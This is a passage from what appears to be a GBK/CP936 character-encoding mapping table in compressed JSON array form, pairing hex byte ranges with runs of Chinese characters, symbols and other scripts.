"牉牊牋牎牏牐牑牓牔牕牗牘牚牜牞牠牣牤牥牨牪牫牬牭牰牱牳牴牶牷牸牻牼牽犂犃犅", 4, "犌犎犐犑犓", 11, "犠", 11, "犮犱犲犳犵犺", 6, "狅狆狇狉狊狋狌狏狑狓狔狕狖狘狚狛"], ["a1a1", " 、。·ˉˇ¨〃々—~‖…‘’“”〔〕〈", 7, "〖〗【】±×÷∶∧∨∑∏∪∩∈∷√⊥∥∠⌒⊙∫∮≡≌≈∽∝≠≮≯≤≥∞∵∴♂♀°′″℃$¤¢£‰§№☆★○●◎◇◆□■△▲※→←↑↓〓"], ["a2a1", "ⅰ", 9], ["a2b1", "⒈", 19, "⑴", 19, "①", 9], ["a2e5", "㈠", 9], ["a2f1", "Ⅰ", 11], ["a3a1", "!"#¥%", 88, " ̄"], ["a4a1", "ぁ", 82], ["a5a1", "ァ", 85], ["a6a1", "Α", 16, "Σ", 6], ["a6c1", "α", 16, "σ", 6], ["a6e0", "︵︶︹︺︿﹀︽︾﹁﹂﹃﹄"], ["a6ee", "︻︼︷︸︱"], ["a6f4", "︳︴"], ["a7a1", "А", 5, "ЁЖ", 25], ["a7d1", "а", 5, "ёж", 25], ["a840", "ˊˋ˙–―‥‵℅℉↖↗↘↙∕∟∣≒≦≧⊿═", 35, "▁", 6], ["a880", "█", 7, "▓▔▕▼▽◢◣◤◥☉⊕〒〝〞"], ["a8a1", "āáǎàēéěèīíǐìōóǒòūúǔùǖǘǚǜüêɑ"], ["a8bd", "ńň"], ["a8c0", "ɡ"], ["a8c5", "ㄅ", 36], ["a940", "〡", 8, "㊣㎎㎏㎜㎝㎞㎡㏄㏎㏑㏒㏕︰¬¦"], ["a959", "℡㈱"], ["a95c", "‐"], ["a960", "ー゛゜ヽヾ〆ゝゞ﹉", 9, "﹔﹕﹖﹗﹙", 8], ["a980", "﹢", 4, "﹨﹩﹪﹫"], ["a996", "〇"], ["a9a4", "─", 75], ["aa40", "狜狝狟狢", 5, "狪狫狵狶狹狽狾狿猀猂猄", 5, "猋猌猍猏猐猑猒猔猘猙猚猟猠猣猤猦猧猨猭猯猰猲猳猵猶猺猻猼猽獀", 8], ["aa80", "獉獊獋獌獎獏獑獓獔獕獖獘", 7, "獡", 10, "獮獰獱"], ["ab40", "獲", 11, "獿", 4, "玅玆玈玊玌玍玏玐玒玓玔玕玗玘玙玚玜玝玞玠玡玣", 5, "玪玬玭玱玴玵玶玸玹玼玽玾玿珁珃", 4], ["ab80", "珋珌珎珒", 6, "珚珛珜珝珟珡珢珣珤珦珨珪珫珬珮珯珰珱珳", 4], ["ac40", "珸", 10, "琄琇琈琋琌琍琎琑", 8, "琜", 5, "琣琤琧琩琫琭琯琱琲琷", 4, "琽琾琿瑀瑂", 11], ["ac80", "瑎", 6, "瑖瑘瑝瑠", 12, "瑮瑯瑱", 4, "瑸瑹瑺"], ["ad40", "瑻瑼瑽瑿璂璄璅璆璈璉璊璌璍璏璑", 10, "璝璟", 7, "璪", 15, "璻", 12], ["ad80", "瓈", 9, "瓓", 8, "瓝瓟瓡瓥瓧", 6, "瓰瓱瓲"], ["ae40", "瓳瓵瓸", 6, "甀甁甂甃甅", 7, "甎甐甒甔甕甖甗甛甝甞甠", 4, "甦甧甪甮甴甶甹甼甽甿畁畂畃畄畆畇畉畊畍畐畑畒畓畕畖畗畘"], ["ae80", "畝", 7, "畧畨畩畫", 6, "畳畵當畷畺", 4, "疀疁疂疄疅疇"], ["af40", "疈疉疊疌疍疎疐疓疕疘疛疜疞疢疦", 4, "疭疶疷疺疻疿痀痁痆痋痌痎痏痐痑痓痗痙痚痜痝痟痠痡痥痩痬痭痮痯痲痳痵痶痷痸痺痻痽痾瘂瘄瘆瘇"], ["af80", "瘈瘉瘋瘍瘎瘏瘑瘒瘓瘔瘖瘚瘜瘝瘞瘡瘣瘧瘨瘬瘮瘯瘱瘲瘶瘷瘹瘺瘻瘽癁療癄"], ["b040", "癅", 6, "癎", 5, "癕癗", 4, "癝癟癠癡癢癤", 6, "癬癭癮癰", 7, "癹発發癿皀皁皃皅皉皊皌皍皏皐皒皔皕皗皘皚皛"], ["b080", "皜", 7, "皥", 8, "皯皰皳皵", 9, "盀盁盃啊阿埃挨哎唉哀皑癌蔼矮艾碍爱隘鞍氨安俺按暗岸胺案肮昂盎凹敖熬翱袄傲奥懊澳芭捌扒叭吧笆八疤巴拔跋靶把耙坝霸罢爸白柏百摆佰败拜稗斑班搬扳般颁板版扮拌伴瓣半办绊邦帮梆榜膀绑棒磅蚌镑傍谤苞胞包褒剥"], ["b140", "盄盇盉盋盌盓盕盙盚盜盝盞盠", 4, "盦", 7, "盰盳盵盶盷盺盻盽盿眀眂眃眅眆眊県眎", 10, "眛眜眝眞眡眣眤眥眧眪眫"], ["b180", "眬眮眰", 4, "眹眻眽眾眿睂睄睅睆睈", 7, "睒", 7, "睜薄雹保堡饱宝抱报暴豹鲍爆杯碑悲卑北辈背贝钡倍狈备惫焙被奔苯本笨崩绷甭泵蹦迸逼鼻比鄙笔彼碧蓖蔽毕毙毖币庇痹闭敝弊必辟壁臂避陛鞭边编贬扁便变卞辨辩辫遍标彪膘表鳖憋别瘪彬斌濒滨宾摈兵冰柄丙秉饼炳"], ["b240", "睝睞睟睠睤睧睩睪睭", 11, "睺睻睼瞁瞂瞃瞆", 5, "瞏瞐瞓", 11, "瞡瞣瞤瞦瞨瞫瞭瞮瞯瞱瞲瞴瞶", 4], ["b280", "瞼瞾矀", 12, "矎", 8, "矘矙矚矝", 4, "矤病并玻菠播拨钵波博勃搏铂箔伯帛舶脖膊渤泊驳捕卜哺补埠不布步簿部怖擦猜裁材才财睬踩采彩菜蔡餐参蚕残惭惨灿苍舱仓沧藏操糙槽曹草厕策侧册测层蹭插叉茬茶查碴搽察岔差诧拆柴豺搀掺蝉馋谗缠铲产阐颤昌猖"], ["b340", "矦矨矪矯矰矱矲矴矵矷矹矺矻矼砃", 5, "砊砋砎砏砐砓砕砙砛砞砠砡砢砤砨砪砫砮砯砱砲砳砵砶砽砿硁硂硃硄硆硈硉硊硋硍硏硑硓硔硘硙硚"], ["b380", "硛硜硞", 11, "硯", 7, "硸硹硺硻硽", 6, "场尝常长偿肠厂敞畅唱倡超抄钞朝嘲潮巢吵炒车扯撤掣彻澈郴臣辰尘晨忱沉陈趁衬撑称城橙成呈乘程惩澄诚承逞骋秤吃痴持匙池迟弛驰耻齿侈尺赤翅斥炽充冲虫崇宠抽酬畴踌稠愁筹仇绸瞅丑臭初出橱厨躇锄雏滁除楚"], ["b440", "碄碅碆碈碊碋碏碐碒碔碕碖碙碝碞碠碢碤碦碨", 7, "碵碶碷碸確碻碼碽碿磀磂磃磄磆磇磈磌磍磎磏磑磒磓磖磗磘磚", 9], ["b480", "磤磥磦磧磩磪磫磭", 4, "磳磵磶磸磹磻", 5, "礂礃礄礆", 6, "础储矗搐触处揣川穿椽传船喘串疮窗幢床闯创吹炊捶锤垂春椿醇唇淳纯蠢戳绰疵茨磁雌辞慈瓷词此刺赐次聪葱囱匆从丛凑粗醋簇促蹿篡窜摧崔催脆瘁粹淬翠村存寸磋撮搓措挫错搭达答瘩打大呆歹傣戴带殆代贷袋待逮"], ["b540", "礍", 5, "礔", 9, "礟", 4, "礥", 14, "礵", 4, "礽礿祂祃祄祅祇祊", 8, "祔祕祘祙祡祣"], ["b580", "祤祦祩祪祫祬祮祰", 6, "祹祻", 4, "禂禃禆禇禈禉禋禌禍禎禐禑禒怠耽担丹单郸掸胆旦氮但惮淡诞弹蛋当挡党荡档刀捣蹈倒岛祷导到稻悼道盗德得的蹬灯登等瞪凳邓堤低滴迪敌笛狄涤翟嫡抵底地蒂第帝弟递缔颠掂滇碘点典靛垫电佃甸店惦奠淀殿碉叼雕凋刁掉吊钓调跌爹碟蝶迭谍叠"], ["b640", "禓", 6, "禛", 11, "禨", 10, "禴", 4, "禼禿秂秄秅秇秈秊秌秎秏秐秓秔秖秗秙", 5, "秠秡秢秥秨秪"], ["b680", "秬秮秱", 6, "秹秺秼秾秿稁稄稅稇稈稉稊稌稏", 4, "稕稖稘稙稛稜丁盯叮钉顶鼎锭定订丢东冬董懂动栋侗恫冻洞兜抖斗陡豆逗痘都督毒犊独读堵睹赌杜镀肚度渡妒端短锻段断缎堆兑队对墩吨蹲敦顿囤钝盾遁掇哆多夺垛躲朵跺舵剁惰堕蛾峨鹅俄额讹娥恶厄扼遏鄂饿恩而儿耳尔饵洱二"], ["b740", "稝稟稡稢稤", 14, "稴稵稶稸稺稾穀", 5, "穇", 9, "穒", 4, "穘", 16], ["b780", "穩", 6, "穱穲穳穵穻穼穽穾窂窅窇窉窊窋窌窎窏窐窓窔窙窚窛窞窡窢贰发罚筏伐乏阀法珐藩帆番翻樊矾钒繁凡烦反返范贩犯饭泛坊芳方肪房防妨仿访纺放菲非啡飞肥匪诽吠肺废沸费芬酚吩氛分纷坟焚汾粉奋份忿愤粪丰封枫蜂峰锋风疯烽逢冯缝讽奉凤佛否夫敷肤孵扶拂辐幅氟符伏俘服"], ["b840", "窣窤窧窩窪窫窮", 4, "窴", 10, "竀", 10, "竌", 9, "竗竘竚竛竜竝竡竢竤竧", 5, "竮竰竱竲竳"], ["b880", "竴", 4, "竻竼竾笀笁笂笅笇笉笌笍笎笐笒笓笖笗笘笚笜笝笟笡笢笣笧笩笭浮涪福袱弗甫抚辅俯釜斧脯腑府腐赴副覆赋复傅付阜父腹负富讣附妇缚咐噶嘎该改概钙盖溉干甘杆柑竿肝赶感秆敢赣冈刚钢缸肛纲岗港杠篙皋高膏羔糕搞镐稿告哥歌搁戈鸽胳疙割革葛格蛤阁隔铬个各给根跟耕更庚羹"], ["b940", "笯笰笲笴笵笶笷笹笻笽笿", 5, "筆筈筊筍筎筓筕筗筙筜筞筟筡筣", 10, "筯筰筳筴筶筸筺筼筽筿箁箂箃箄箆", 6, "箎箏"], ["b980", "箑箒箓箖箘箙箚箛箞箟箠箣箤箥箮箯箰箲箳箵箶箷箹", 7, "篂篃範埂耿梗工攻功恭龚供躬公宫弓巩汞拱贡共钩勾沟苟狗垢构购够辜菇咕箍估沽孤姑鼓古蛊骨谷股故顾固雇刮瓜剐寡挂褂乖拐怪棺关官冠观管馆罐惯灌贯光广逛瑰规圭硅归龟闺轨鬼诡癸桂柜跪贵刽辊滚棍锅郭国果裹过哈"], ["ba40", "篅篈築篊篋篍篎篏篐篒篔", 4, "篛篜篞篟篠篢篣篤篧篨篩篫篬篭篯篰篲", 4, "篸篹篺篻篽篿", 7, "簈簉簊簍簎簐", 5, "簗簘簙"], ["ba80", "簚", 4, "簠", 5, "簨簩簫", 12, "簹", 5, "籂骸孩海氦亥害骇酣憨邯韩含涵寒函喊罕翰撼捍旱憾悍焊汗汉夯杭航壕嚎豪毫郝好耗号浩呵喝荷菏核禾和何合盒貉阂河涸赫褐鹤贺嘿黑痕很狠恨哼亨横衡恒轰哄烘虹鸿洪宏弘红喉侯猴吼厚候后呼乎忽瑚壶葫胡蝴狐糊湖"], ["bb40", "籃", 9, "籎", 36, "籵", 5, "籾", 9], ["bb80", "粈粊", 6, "粓粔粖粙粚粛粠粡粣粦粧粨粩粫粬粭粯粰粴", 4, "粺粻弧虎唬护互沪户花哗华猾滑画划化话槐徊怀淮坏欢环桓还缓换患唤痪豢焕涣宦幻荒慌黄磺蝗簧皇凰惶煌晃幌恍谎灰挥辉徽恢蛔回毁悔慧卉惠晦贿秽会烩汇讳诲绘荤昏婚魂浑混豁活伙火获或惑霍货祸击圾基机畸稽积箕"], ["bc40", "粿糀糂糃糄糆糉糋糎", 6, "糘糚糛糝糞糡", 6, "糩", 5, "糰", 7, "糹糺糼", 13, "紋", 5], ["bc80", "紑", 14, "紡紣紤紥紦紨紩紪紬紭紮細", 6, "肌饥迹激讥鸡姬绩缉吉极棘辑籍集及急疾汲即嫉级挤几脊己蓟技冀季伎祭剂悸济寄寂计记既忌际妓继纪嘉枷夹佳家加荚颊贾甲钾假稼价架驾嫁歼监坚尖笺间煎兼肩艰奸缄茧检柬碱硷拣捡简俭剪减荐槛鉴践贱见键箭件"], ["bd40", "紷", 54, "絯", 7], ["bd80", "絸", 32, "健舰剑饯渐溅涧建僵姜将浆江疆蒋桨奖讲匠酱降蕉椒礁焦胶交郊浇骄娇嚼搅铰矫侥脚狡角饺缴绞剿教酵轿较叫窖揭接皆秸街阶截劫节桔杰捷睫竭洁结解姐戒藉芥界借介疥诫届巾筋斤金今津襟紧锦仅谨进靳晋禁近烬浸"], ["be40", "継", 12, "綧", 6, "綯", 42], ["be80", "線", 32, "尽劲荆兢茎睛晶鲸京惊精粳经井警景颈静境敬镜径痉靖竟竞净炯窘揪究纠玖韭久灸九酒厩救旧臼舅咎就疚鞠拘狙疽居驹菊局咀矩举沮聚拒据巨具距踞锯俱句惧炬剧捐鹃娟倦眷卷绢撅攫抉掘倔爵觉决诀绝均菌钧军君峻"], ["bf40", "緻", 62], ["bf80", "縺縼", 4, "繂", 4, "繈", 21, "俊竣浚郡骏喀咖卡咯开揩楷凯慨刊堪勘坎砍看康慷糠扛抗亢炕考拷烤靠坷苛柯棵磕颗科壳咳可渴克刻客课肯啃垦恳坑吭空恐孔控抠口扣寇枯哭窟苦酷库裤夸垮挎跨胯块筷侩快宽款匡筐狂框矿眶旷况亏盔岿窥葵奎魁傀"], ["c040", "繞", 35, "纃", 23, "纜纝纞"], ["c080", "纮纴纻纼绖绤绬绹缊缐缞缷缹缻", 6, "罃罆", 9, "罒罓馈愧溃坤昆捆困括扩廓阔垃拉喇蜡腊辣啦莱来赖蓝婪栏拦篮阑兰澜谰揽览懒缆烂滥琅榔狼廊郎朗浪捞劳牢老佬姥酪烙涝勒乐雷镭蕾磊累儡垒擂肋类泪棱楞冷厘梨犁黎篱狸离漓理李里鲤礼莉荔吏栗丽厉励砾历利傈例俐"], ["c140", "罖罙罛罜罝罞罠罣", 4, "罫罬罭罯罰罳罵罶罷罸罺罻罼罽罿羀羂", 7, "羋羍羏", 4, "羕", 4, "羛羜羠羢羣羥羦羨", 6, "羱"], ["c180", "羳", 4, "羺羻羾翀翂翃翄翆翇翈翉翋翍翏", 4, "翖翗翙", 5, "翢翣痢立粒沥隶力璃哩俩联莲连镰廉怜涟帘敛脸链恋炼练粮凉梁粱良两辆量晾亮谅撩聊僚疗燎寥辽潦了撂镣廖料列裂烈劣猎琳林磷霖临邻鳞淋凛赁吝拎玲菱零龄铃伶羚凌灵陵岭领另令溜琉榴硫馏留刘瘤流柳六龙聋咙笼窿"], ["c240", "翤翧翨翪翫翬翭翯翲翴", 6, "翽翾翿耂耇耈耉耊耎耏耑耓耚耛耝耞耟耡耣耤耫", 5, "耲耴耹耺耼耾聀聁聄聅聇聈聉聎聏聐聑聓聕聖聗"], ["c280", "聙聛", 13, "聫", 5, "聲", 11, "隆垄拢陇楼娄搂篓漏陋芦卢颅庐炉掳卤虏鲁麓碌露路赂鹿潞禄录陆戮驴吕铝侣旅履屡缕虑氯律率滤绿峦挛孪滦卵乱掠略抡轮伦仑沦纶论萝螺罗逻锣箩骡裸落洛骆络妈麻玛码蚂马骂嘛吗埋买麦卖迈脉瞒馒蛮满蔓曼慢漫"], ["c340", "聾肁肂肅肈肊肍", 5, "肔肕肗肙肞肣肦肧肨肬肰肳肵肶肸肹肻胅胇", 4, "胏", 6, "胘胟胠胢胣胦胮胵胷胹胻胾胿脀脁脃脄脅脇脈脋"], ["c380", "脌脕脗脙脛脜脝脟", 12, "脭脮脰脳脴脵脷脹", 4, "脿谩芒茫盲氓忙莽猫茅锚毛矛铆卯茂冒帽貌贸么玫枚梅酶霉煤没眉媒镁每美昧寐妹媚门闷们萌蒙檬盟锰猛梦孟眯醚靡糜迷谜弥米秘觅泌蜜密幂棉眠绵冕免勉娩缅面苗描瞄藐秒渺庙妙蔑灭民抿皿敏悯闽明螟鸣铭名命谬摸"], ["c440", "腀", 5, "腇腉腍腎腏腒腖腗腘腛", 4, "腡腢腣腤腦腨腪腫腬腯腲腳腵腶腷腸膁膃", 4, "膉膋膌膍膎膐膒", 5, "膙膚膞", 4, "膤膥"], ["c480", "膧膩膫", 7, "膴", 5, "膼膽膾膿臄臅臇臈臉臋臍", 6, "摹蘑模膜磨摩魔抹末莫墨默沫漠寞陌谋牟某拇牡亩姆母墓暮幕募慕木目睦牧穆拿哪呐钠那娜纳氖乃奶耐奈南男难囊挠脑恼闹淖呢馁内嫩能妮霓倪泥尼拟你匿腻逆溺蔫拈年碾撵捻念娘酿鸟尿捏聂孽啮镊镍涅您柠狞凝宁"], ["c540", "臔", 14, "臤臥臦臨臩臫臮", 4, "臵", 5, "臽臿舃與", 4, "舎舏舑舓舕", 5, "舝舠舤舥舦舧舩舮舲舺舼舽舿"], ["c580", "艀艁艂艃艅艆艈艊艌艍艎艐", 7, "艙艛艜艝艞艠", 7, "艩拧泞牛扭钮纽脓浓农弄奴努怒女暖虐疟挪懦糯诺哦欧鸥殴藕呕偶沤啪趴爬帕怕琶拍排牌徘湃派攀潘盘磐盼畔判叛乓庞旁耪胖抛咆刨炮袍跑泡呸胚培裴赔陪配佩沛喷盆砰抨烹澎彭蓬棚硼篷膨朋鹏捧碰坯砒霹批披劈琵毗"], ["c640", "艪艫艬艭艱艵艶艷艸艻艼芀芁芃芅芆芇芉芌芐芓芔芕芖芚芛芞芠芢芣芧芲芵芶芺芻芼芿苀苂苃苅苆苉苐苖苙苚苝苢苧苨苩苪苬苭苮苰苲苳苵苶苸"], ["c680", "苺苼", 4, "茊茋茍茐茒茓茖茘茙茝", 9, "茩茪茮茰茲茷茻茽啤脾疲皮匹痞僻屁譬篇偏片骗飘漂瓢票撇瞥拼频贫品聘乒坪苹萍平凭瓶评屏坡泼颇婆破魄迫粕剖扑铺仆莆葡菩蒲埔朴圃普浦谱曝瀑期欺栖戚妻七凄漆柒沏其棋奇歧畦崎脐齐旗祈祁骑起岂乞企启契砌器气迄弃汽泣讫掐"], ["c740", "茾茿荁荂荄荅荈荊", 4, "荓荕", 4, "荝荢荰", 6, "荹荺荾", 6, "莇莈莊莋莌莍莏莐莑莔莕莖莗莙莚莝莟莡", 6, "莬莭莮"], ["c780", "莯莵莻莾莿菂菃菄菆菈菉菋菍菎菐菑菒菓菕菗菙菚菛菞菢菣菤菦菧菨菫菬菭恰洽牵扦钎铅千迁签仟谦乾黔钱钳前潜遣浅谴堑嵌欠歉枪呛腔羌墙蔷强抢橇锹敲悄桥瞧乔侨巧鞘撬翘峭俏窍切茄且怯窃钦侵亲秦琴勤芹擒禽寝沁青轻氢倾卿清擎晴氰情顷请庆琼穷秋丘邱球求囚酋泅趋区蛆曲躯屈驱渠"], ["c840", "菮華菳", 4, "菺菻菼菾菿萀萂萅萇萈萉萊萐萒", 5, "萙萚萛萞", 5, "萩", 7, "萲", 5, "萹萺萻萾", 7, "葇葈葉"], ["c880", "葊", 6, "葒", 4, "葘葝葞葟葠葢葤", 4, "葪葮葯葰葲葴葷葹葻葼取娶龋趣去圈颧权醛泉全痊拳犬券劝缺炔瘸却鹊榷确雀裙群然燃冉染瓤壤攘嚷让饶扰绕惹热壬仁人忍韧任认刃妊纫扔仍日戎茸蓉荣融熔溶容绒冗揉柔肉茹蠕儒孺如辱乳汝入褥软阮蕊瑞锐闰润若弱撒洒萨腮鳃塞赛三叁"], ["c940", "葽", 4, "蒃蒄蒅蒆蒊蒍蒏", 7, "蒘蒚蒛蒝蒞蒟蒠蒢", 12, "蒰蒱蒳蒵蒶蒷蒻蒼蒾蓀蓂蓃蓅蓆蓇蓈蓋蓌蓎蓏蓒蓔蓕蓗"], ["c980", "蓘", 4, "蓞蓡蓢蓤蓧", 4, "蓭蓮蓯蓱", 10, "蓽蓾蔀蔁蔂伞散桑嗓丧搔骚扫嫂瑟色涩森僧莎砂杀刹沙纱傻啥煞筛晒珊苫杉山删煽衫闪陕擅赡膳善汕扇缮墒伤商赏晌上尚裳梢捎稍烧芍勺韶少哨邵绍奢赊蛇舌舍赦摄射慑涉社设砷申呻伸身深娠绅神沈审婶甚肾慎渗声生甥牲升绳"], ["ca40", "蔃", 8, "蔍蔎蔏蔐蔒蔔蔕蔖蔘蔙蔛蔜蔝蔞蔠蔢", 8, "蔭", 9, "蔾", 4, "蕄蕅蕆蕇蕋", 10], ["ca80", "蕗蕘蕚蕛蕜蕝蕟", 4, "蕥蕦蕧蕩", 8, "蕳蕵蕶蕷蕸蕼蕽蕿薀薁省盛剩胜圣师失狮施湿诗尸虱十石拾时什食蚀实识史矢使屎驶始式示士世柿事拭誓逝势是嗜噬适仕侍释饰氏市恃室视试收手首守寿授售受瘦兽蔬枢梳殊抒输叔舒淑疏书赎孰熟薯暑曙署蜀黍鼠属术述树束戍竖墅庶数漱"], ["cb40", "薂薃薆薈", 6, "薐", 10, "薝", 6, "薥薦薧薩薫薬薭薱", 5, "薸薺", 6, "藂", 6, "藊", 4, "藑藒"], ["cb80", "藔藖", 5, "藝", 6, "藥藦藧藨藪", 14, "恕刷耍摔衰甩帅栓拴霜双爽谁水睡税吮瞬顺舜说硕朔烁斯撕嘶思私司丝死肆寺嗣四伺似饲巳松耸怂颂送宋讼诵搜艘擞嗽苏酥俗素速粟僳塑溯宿诉肃酸蒜算虽隋随绥髓碎岁穗遂隧祟孙损笋蓑梭唆缩琐索锁所塌他它她塔"], ["cc40", "藹藺藼藽藾蘀", 4, "蘆", 10, "蘒蘓蘔蘕蘗", 15, "蘨蘪", 13, "蘹蘺蘻蘽蘾蘿虀"], ["cc80", "虁", 11, "虒虓處", 4, "虛虜虝號虠虡虣", 7, "獭挞蹋踏胎苔抬台泰酞太态汰坍摊贪瘫滩坛檀痰潭谭谈坦毯袒碳探叹炭汤塘搪堂棠膛唐糖倘躺淌趟烫掏涛滔绦萄桃逃淘陶讨套特藤腾疼誊梯剔踢锑提题蹄啼体替嚏惕涕剃屉天添填田甜恬舔腆挑条迢眺跳贴铁帖厅听烃"], ["cd40", "虭虯虰虲", 6, "蚃", 6, "蚎", 4, "蚔蚖", 5, "蚞", 4, "蚥蚦蚫蚭蚮蚲蚳蚷蚸蚹蚻", 4, "蛁蛂蛃蛅蛈蛌蛍蛒蛓蛕蛖蛗蛚蛜"], ["cd80", "蛝蛠蛡蛢蛣蛥蛦蛧蛨蛪蛫蛬蛯蛵蛶蛷蛺蛻蛼蛽蛿蜁蜄蜅蜆蜋蜌蜎蜏蜐蜑蜔蜖汀廷停亭庭挺艇通桐酮瞳同铜彤童桶捅筒统痛偷投头透凸秃突图徒途涂屠土吐兔湍团推颓腿蜕褪退吞屯臀拖托脱鸵陀驮驼椭妥拓唾挖哇蛙洼娃瓦袜歪外豌弯湾玩顽丸烷完碗挽晚皖惋宛婉万腕汪王亡枉网往旺望忘妄威"], ["ce40", "蜙蜛蜝蜟蜠蜤蜦蜧蜨蜪蜫蜬蜭蜯蜰蜲蜳蜵蜶蜸蜹蜺蜼蜽蝀", 6, "蝊蝋蝍蝏蝐蝑蝒蝔蝕蝖蝘蝚", 5, "蝡蝢蝦", 7, "蝯蝱蝲蝳蝵"], ["ce80", "蝷蝸蝹蝺蝿螀螁螄螆螇螉螊螌螎", 4, "螔螕螖螘", 6, "螠", 4, "巍微危韦违桅围唯惟为潍维苇萎委伟伪尾纬未蔚味畏胃喂魏位渭谓尉慰卫瘟温蚊文闻纹吻稳紊问嗡翁瓮挝蜗涡窝我斡卧握沃巫呜钨乌污诬屋无芜梧吾吴毋武五捂午舞伍侮坞戊雾晤物勿务悟误昔熙析西硒矽晰嘻吸锡牺"], ["cf40", "螥螦螧螩螪螮螰螱螲螴螶螷螸螹螻螼螾螿蟁", 4, "蟇蟈蟉蟌", 4, "蟔", 6, "蟜蟝蟞蟟蟡蟢蟣蟤蟦蟧蟨蟩蟫蟬蟭蟯", 9], ["cf80", "蟺蟻蟼蟽蟿蠀蠁蠂蠄", 5, "蠋", 7, "蠔蠗蠘蠙蠚蠜", 4, "蠣稀息希悉膝夕惜熄烯溪汐犀檄袭席习媳喜铣洗系隙戏细瞎虾匣霞辖暇峡侠狭下厦夏吓掀锨先仙鲜纤咸贤衔舷闲涎弦嫌显险现献县腺馅羡宪陷限线相厢镶香箱襄湘乡翔祥详想响享项巷橡像向象萧硝霄削哮嚣销消宵淆晓"], ["d040", "蠤", 13, "蠳", 5, "蠺蠻蠽蠾蠿衁衂衃衆", 5, "衎", 5, "衕衖衘衚", 6, "衦衧衪衭衯衱衳衴衵衶衸衹衺"], ["d080", "衻衼袀袃袆袇袉袊袌袎袏袐袑袓袔袕袗", 4, "袝", 4, "袣袥", 5, "小孝校肖啸笑效楔些歇蝎鞋协挟携邪斜胁谐写械卸蟹懈泄泻谢屑薪芯锌欣辛新忻心信衅星腥猩惺兴刑型形邢行醒幸杏性姓兄凶胸匈汹雄熊休修羞朽嗅锈秀袖绣墟戌需虚嘘须徐许蓄酗叙旭序畜恤絮婿绪续轩喧宣悬旋玄"], ["d140", "袬袮袯袰袲", 4, "袸袹袺袻袽袾袿裀裃裄裇裈裊裋裌裍裏裐裑裓裖裗裚", 4, "裠裡裦裧裩", 6, "裲裵裶裷裺裻製裿褀褁褃", 5], ["d180", "褉褋", 4, "褑褔", 4, "褜", 4, "褢褣褤褦褧褨褩褬褭褮褯褱褲褳褵褷选癣眩绚靴薛学穴雪血勋熏循旬询寻驯巡殉汛训讯逊迅压押鸦鸭呀丫芽牙蚜崖衙涯雅哑亚讶焉咽阉烟淹盐严研蜒岩延言颜阎炎沿奄掩眼衍演艳堰燕厌砚雁唁彦焰宴谚验殃央鸯秧杨扬佯疡羊洋阳氧仰痒养样漾邀腰妖瑶"], ["d240", "褸", 8, "襂襃襅", 24, "襠", 5, "襧", 19, "襼"], ["d280", "襽襾覀覂覄覅覇", 26, "摇尧遥窑谣姚咬舀药要耀椰噎耶爷野冶也页掖业叶曳腋夜液一壹医揖铱依伊衣颐夷遗移仪胰疑沂宜姨彝椅蚁倚已乙矣以艺抑易邑屹亿役臆逸肄疫亦裔意毅忆义益溢诣议谊译异翼翌绎茵荫因殷音阴姻吟银淫寅饮尹引隐"], ["d340", "覢", 30, "觃觍觓觔觕觗觘觙觛觝觟觠觡觢觤觧觨觩觪觬觭觮觰觱觲觴", 6], ["d380", "觻", 4, "訁", 5, "計", 21, "印英樱婴鹰应缨莹萤营荧蝇迎赢盈影颖硬映哟拥佣臃痈庸雍踊蛹咏泳涌永恿勇用幽优悠忧尤由邮铀犹油游酉有友右佑釉诱又幼迂淤于盂榆虞愚舆余俞逾鱼愉渝渔隅予娱雨与屿禹宇语羽玉域芋郁吁遇喻峪御愈欲狱育誉"], ["d440", "訞", 31, "訿", 8, "詉", 21], ["d480", "詟", 25, "詺", 6, "浴寓裕预豫驭鸳渊冤元垣袁原援辕园员圆猿源缘远苑愿怨院曰约越跃钥岳粤月悦阅耘云郧匀陨允运蕴酝晕韵孕匝砸杂栽哉灾宰载再在咱攒暂赞赃脏葬遭糟凿藻枣早澡蚤躁噪造皂灶燥责择则泽贼怎增憎曾赠扎喳渣札轧"], ["d540", "誁", 7, "誋", 7, "誔", 46], ["d580", "諃", 32, "铡闸眨栅榨咋乍炸诈摘斋宅窄债寨瞻毡詹粘沾盏斩辗崭展蘸栈占战站湛绽樟章彰漳张掌涨杖丈帐账仗胀瘴障招昭找沼赵照罩兆肇召遮折哲蛰辙者锗蔗这浙珍斟真甄砧臻贞针侦枕疹诊震振镇阵蒸挣睁征狰争怔整拯正政"], ["d640", "諤", 34, "謈", 27], ["d680", "謤謥謧", 30, "帧症郑证芝枝支吱蜘知肢脂汁之织职直植殖执值侄址指止趾只旨纸志挚掷至致置帜峙制智秩稚质炙痔滞治窒中盅忠钟衷终种肿重仲众舟周州洲诌粥轴肘帚咒皱宙昼骤珠株蛛朱猪诸诛逐竹烛煮拄瞩嘱主著柱助蛀贮铸筑"], ["d740", "譆", 31, "譧", 4, "譭", 25], ["d780", "讇", 24, "讬讱讻诇诐诪谉谞住注祝驻抓爪拽专砖转撰赚篆桩庄装妆撞壮状椎锥追赘坠缀谆准捉拙卓桌琢茁酌啄着灼浊兹咨资姿滋淄孜紫仔籽滓子自渍字鬃棕踪宗综总纵邹走奏揍租足卒族祖诅阻组钻纂嘴醉最罪尊遵昨左佐柞做作坐座"], ["d840", "谸", 8, "豂豃豄豅豈豊豋豍", 7, "豖豗豘豙豛", 5, "豣", 6, "豬", 6, "豴豵豶豷豻", 6, "貃貄貆貇"], ["d880", "貈貋貍", 6, "貕貖貗貙", 20, "亍丌兀丐廿卅丕亘丞鬲孬噩丨禺丿匕乇夭爻卮氐囟胤馗毓睾鼗丶亟鼐乜乩亓芈孛啬嘏仄厍厝厣厥厮靥赝匚叵匦匮匾赜卦卣刂刈刎刭刳刿剀剌剞剡剜蒯剽劂劁劐劓冂罔亻仃仉仂仨仡仫仞伛仳伢佤仵伥伧伉伫佞佧攸佚佝"], ["d940", "貮", 62], ["d980", "賭", 32, "佟佗伲伽佶佴侑侉侃侏佾佻侪佼侬侔俦俨俪俅俚俣俜俑俟俸倩偌俳倬倏倮倭俾倜倌倥倨偾偃偕偈偎偬偻傥傧傩傺僖儆僭僬僦僮儇儋仝氽佘佥俎龠汆籴兮巽黉馘冁夔勹匍訇匐凫夙兕亠兖亳衮袤亵脔裒禀嬴蠃羸冫冱冽冼"], ["da40", "贎", 14, "贠赑赒赗赟赥赨赩赪赬赮赯赱赲赸", 8, "趂趃趆趇趈趉趌", 4, "趒趓趕", 9, "趠趡"], ["da80", "趢趤", 12, 